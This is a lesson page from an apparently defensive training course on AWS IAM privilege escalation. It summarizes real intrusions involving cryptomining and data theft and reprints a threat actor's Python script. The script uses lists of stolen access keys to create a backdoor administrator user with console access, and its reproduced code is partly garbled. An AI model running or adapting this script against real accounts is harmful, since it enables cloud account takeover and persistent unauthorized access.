Back to Course

IAM Privilege Escalation Labs

0% Complete
0/0 Steps
  1. Introduction

    About this course
  2. Real-world case studies
  3. Useful IAM tips and security tools
  4. Introduction to AWS Enumeration
    [LAB] Getting Started with the AWS CLI
  5. [LAB] Introduction to AWS IAM Enumeration
  6. [Cheat Sheet] IAM Enumeration CLI Commands
  7. [LAB] Introduction to Secrets Manager Enumeration
  8. [Cheat Sheet] Secrets Manager Enumeration CLI Commands
  9. [LAB] Introduction to Amazon S3 Enumeration
  10. iam:CreateAccessKey
    [LAB] [CTF] iam:CreateAccessKey PrivEsc
  11. iam:CreateAccessKey Solution
  12. iam:CreateLoginProfile
    [LAB] [CTF] iam:CreateLoginProfile PrivEsc
  13. iam:CreateLoginProfile Solution
  14. iam:UpdateLoginProfile
    [LAB] [CTF] iam:UpdateLoginProfile PrivEsc
  15. iam:UpdateLoginProfile Solution
  16. iam:SetDefaultPolicyVersion
    [LAB] [CTF] iam:SetDefaultPolicyVersion PrivEsc
  17. iam:SetDefaultPolicyVersion Solution
  18. iam:AddUserToGroup
    [LAB] [CTF] iam:AddUserToGroup PrivEsc
  19. iam:AddUserToGroup Solution
  20. iam:AttachUserPolicy
    [LAB] [CTF] iam:AttachUserPolicy PrivEsc
  21. iam:AttachUserPolicy Solution
  22. iam:AttachGroupPolicy
    [LAB] [CTF] iam:AttachGroupPolicy PrivEsc
  23. iam:AttachGroupPolicy Solution
  24. iam:PutUserPolicy
    [LAB] [CTF] iam:PutUserPolicy PrivEsc
  25. iam:PutUserPolicy Solution
  26. iam:PutGroupPolicy
    [LAB] [CTF] iam:PutGroupPolicy PrivEsc
  27. iam:PutGroupPolicy Solution
  28. iam:AttachRolePolicy
    [LAB] [CTF] iam:AttachRolePolicy PrivEsc
  29. iam:AttachRolePolicy Solution
  30. iam:PutRolePolicy
    [LAB] [CTF] iam:PutRolePolicy PrivEsc
  31. iam:PutRolePolicy Solution
  32. Challenges
    About challenges
  33. Challenge #1 - Secrets Unleashed
  34. Challenge #2 - IAM Escape Room
  35. Conclusion
    What's next?
Lesson 2 of 35
In Progress

Real-world case studies

Christophe January 22, 2024

This course was created to teach you IAM exploits that are actively being used by threat actors in the wild. This is not a theoretical course — this is as real as it gets.

While there are many more examples out there, here are 3 recent real-world case studies of attacks against organizations that made use of multiple tactics taught in this very course:

  • iam:CreateAccesKey
  • iam:AttachUserPolicy
  • iam:CreateLoginProfile
  • iam:PutUserPolicy

p0 Labs discovery (GUI-Vil cryptomining)

The first we’ll look at is research by p0 Labs that I made a video about because there’s a lot to learn from it. I recommend watching if you’re interested, but I’ll also provide a quick summary below.

  • Stage 1: Gaining Initial Access
  • Stage 2: Reconnaissance
  • Stage 3: Privilege Escalation (if needed)
  • Stage 4: Persistence and maintaining presence (aka creating backdoors)
  • Stage 5: Complete mission

Stage 1: Gaining Initial Access

In this particular case study, GUI-vil used CVE-2021-22205, which according to NIST is a GitLab vulnerability that enabled Remote Code Execution (or RCE). The attacker exploited the vulnerability, and gained access to sensitive data by reviewing code repositories, which included the access key for an Admin level identity in the victim’s AWS environment.

Stage 2: Reconnaissance

GUI-Vil entered the access key ID and secret access key into S3 Browser, and then executed their first command which was to ListBuckets against the S3 service.

Stage 3 & 4: PrivEsc and Persistence

GUI-Vil decided to establish persistence by using the access keys to issue the command CreateUser, and they created an AWS IAM user named backup. They then issued the command CreateAccessKey to generate their own access keys for that backup user.

Then, they issued the command PutUserPolicy to create a policy named backupuser which give full privileges to all resources and all actions for their backup user. Essentially, these are admin-level privileges.

They also enabled AWS Console Access (iam:CreateLoginProfile) for this user so that they can continue their attack from the management console instead of having to use the S3 Browser or command line interface.

All three: iam:CreateAccessKey, iam:PutUserPolicy, and iam:CreateLoginProfile are taught in this course.

Stage 5: Complete mission

The attackers then moved on to launch EC2 instances for cryptomining.

p0 Labs discovery by Ian (establish persistence)

Another discovery by the p0 Labs team which Ian Ahl agreed to let me post here (thanks Ian!) is a script for AWS IAM persistence created by XAV:

import boto3
import string
import random
import os
from botocore.exceptions import ClientError
from termcolor import colored

log = f"""
    ______  __   _  __ ___ _    __
   / __ ) \\/ /  | |/ //   | |  / /
  / __  |\\  /   |   // /| | | / / 
 / /_/ / / /   /   |/ ___ | |/ /  
/_____/ /_/   /_/|_/_/  |_|___/   
DONATE ETH: redacted

byxav = colored(log, "red")  
show = byxav 

def genpwd(length=14):
    characters = string.ascii_letters + string.digits + string.punctuation
    password = ''.join(random.choice(characters) for _ in range(length))
    return password

def make_panel(akiax, scrt, regg):
    iam_client = boto3.client('iam', aws_access_key_id=akiax, aws_secret_access_key=scrt, region_name=regg)
    username = 'administrateurs'
    password = genpwd()

        response = iam_client.get_user(UserName=username)
        print(colored(f"Username '{username}' already exists with key:{akiax}", 'red'))
        return None, None, None
    except ClientError as e:
        if e.response['Error']['Code'] == 'NoSuchEntity':
            print(colored(f"Failed to get user '{username}' with key:{akiax}'", 'red'))
            return None, None, None

        response = iam_client.create_user(UserName=username)
        iam = response['User']['Arn']
        print(colored(f"IAM user {username} created successfully with key:{akiax}", 'white'))

            response = iam_client.create_login_profile(
            print(colored(f"Login profile created successfully for user {username} with key:{akiax}", 'white'))

            response = iam_client.attach_user_policy(
            print(colored(f"Administrator policy attached to user {username} with key:{akiax}", 'white'))

            return iam, username, password

        except ClientError as e:
            print(colored(f"Failed to create login profile for user {username} with key:{akiax}", 'red'))
            return None, None, None

    except ClientError as e:
        print(colored(f"Failed to create IAM user with access key {akiax}", 'red'))
        return None, None, None

def main():
    lo = input('AWS KEY FILE:')
    to = 'IAM-ACC.txt'

        with open(lo, 'r') as file:
            for line in file:
                akiax, scrt, regg = line.strip().split(':')
                iam, username, password = make_panel(akiax, scrt, regg)
                if iam is not None and username is not None and password is not None:
                    with open(to, 'a') as sev:
                        sev.write(f"IAM User ARN: {iam}\\n")
                        sev.write(f"IAM Username: {username}\\n")
                        sev.write(f"IAM Password: {password}\\n")
    except FileNotFoundError:
        print(colored(f"File '{lo}' not found", 'red'))
if __name__ == '__main__':

Code language: Python (python)

As you can see, it creates an IAM username of “administrateurs” and attaches the managed Admin policy arn:aws:iam::aws:policy/AdministratorAccess.

This is an approach and tactic we use in this course for some of the labs, so take note.

Let’s break down the script a bit more:

  • On line 28, we see a boto3.client() call to prepare the call for making the administrateurs user and if that user doesn’t already exist in the environment, the script issues the create command on line 44
  • On line 49, we see the command for iam_client.create_login_profile()
  • On line 56, the script attaches the AdministratorAccess managed policy to that user with iam_client.attach_user_policy
  • At the very end in the main() function, the script creates a text file that stores the IAM user ARN, Username, Password, and access keys

DataDog report (cryptomining & data exfil)

The DataDog Security Labs team recently put out research highlighting how some of the cryptomining attacks are carried out from start to finish by attackers and it looks like this:


Initial Access

A common way for attackers to gain initial access is through a compromised IAM user access key, which this course will mimic by providing you with access keys as part of the lab deployment.

This can happen a few different ways including through social engineering (like with phishing attacks), through accidentally committing secrets in repositories, etc…


Next, the attacker will enumerate. In this case, they enumerated:

  • Amazon SES – which is their simple email service…probably to see if they could use that for spam or phishing, but that’s just a guess
  • IAM – by using iam:ListUsers which would list all users in that environment and will be a useful command throughout this course
  • Resource Explorer – which is a resource search and discovery service they would have used to find interested resources in the environment
  • S3 – which is Amazon’s storage service, and they used s3:ListBuckets as well as s3:ListObjects to see if there’s anything worth stealing, like customer PII (Personally Identifiable Information)


The attacker also established persistence which is what’s going to be the most interesting and relevant to this course!

They used:

  • iam:CreateUser – to generate a new IAM user
  • iam:AttachUserPolicy – which is one of the labs in this course that lets you attach any user policy you want
  • iam:CreateLoginProfile – which is also another lab in this course that lets you set credentials for logging into the user’s AWS console

Minus creating users, the other two commands are privilege escalation commands used by threat actors in the wild as you can see here in order to not only establish persistence but also elevate privileges.

Lateral Movement, Exfiltration, Impact

Once they’ve established persistence, attackers will attempt lateral movement which they did here by using EC2 instance connect for SSH access.

They exfiltrated S3 data by using s3:GetObject, and finally, they tried to launch multiple very expensive EC2 instances to start mining for crypto. The original article mentions that failed and so they pivoted to launching mining activities on Amazon ECS instead.


Now that you’ve seen real-world case studies, it’s time to learn how these attackers do it so you can find these types of weaknesses in your own environments, and then fix the issues. Let’s get started.


Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.